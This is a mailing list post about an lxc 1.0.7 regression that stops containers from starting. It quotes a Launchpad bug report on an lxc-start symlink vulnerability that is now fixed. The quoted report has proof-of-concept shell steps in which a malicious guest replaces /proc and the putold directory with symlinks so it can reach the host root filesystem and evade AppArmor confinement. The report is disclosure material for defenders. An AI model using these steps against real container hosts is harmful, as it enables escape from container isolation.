touch-packages team mailing list archive

[Daniel Kraft <daniel.kraft@xxxxxx>]

We're getting

lxc-start: utils.c: safe_mount: 1409 Mount of 'proc' onto
'/usr/lib/x86_64-linux-gnu/lxc//proc' was onto a symlink!

on all containers since we upgraded to 1.0.7-0ubuntu0.5 and they don't
start. No container has /proc as a symlink. Plese tell me what
information is required from me.

We downgraded to 1.0.6-0ubuntu0.1 which works.

-- 
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https://bugs.launchpad.net/bugs/1476662

Title:
  lxc-start symlink vulnerabilities may allow guest to read host
  filesystem, interfere with apparmor

Status in lxc package in Ubuntu:
  Fix Released

Bug description:
  lxc-start shuffles around mounts using helper directory
  /usr/lib/x86_64-linux-gnu/lxc (guest root fs is mounted here)

  It then modifies mounts operating in guest root directory before
  invoking init. As it does not check if all mount points are
  directories, a malicious guest may modify its internal structure
  before shutdown (or was created using manipulated image) and then when
  started again, guest may

  * Access  the whole host root filesystem

  * Block switching from lxc-start apparmor profile to lxc-container-
  default

  
  # Real putold before pivot-root (root fs will end here)
  mkdir -p /x/lxc_putold

  # Faked putold
  ln -s /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold lxc_putold
  mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc
  touch /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc/mounts

  
  # proc fake
  mkdir -p /x/proc
  umount /proc
  rmdir /proc
  ln -s /usr/lib/x86_64-linux-gnu/lxc/x/proc proc

  mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr /usr/lib/x86_64-linux-gnu/lxc/x/proc/self
  touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr/current
  touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/self/status


  The  issue was also found during
  https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html

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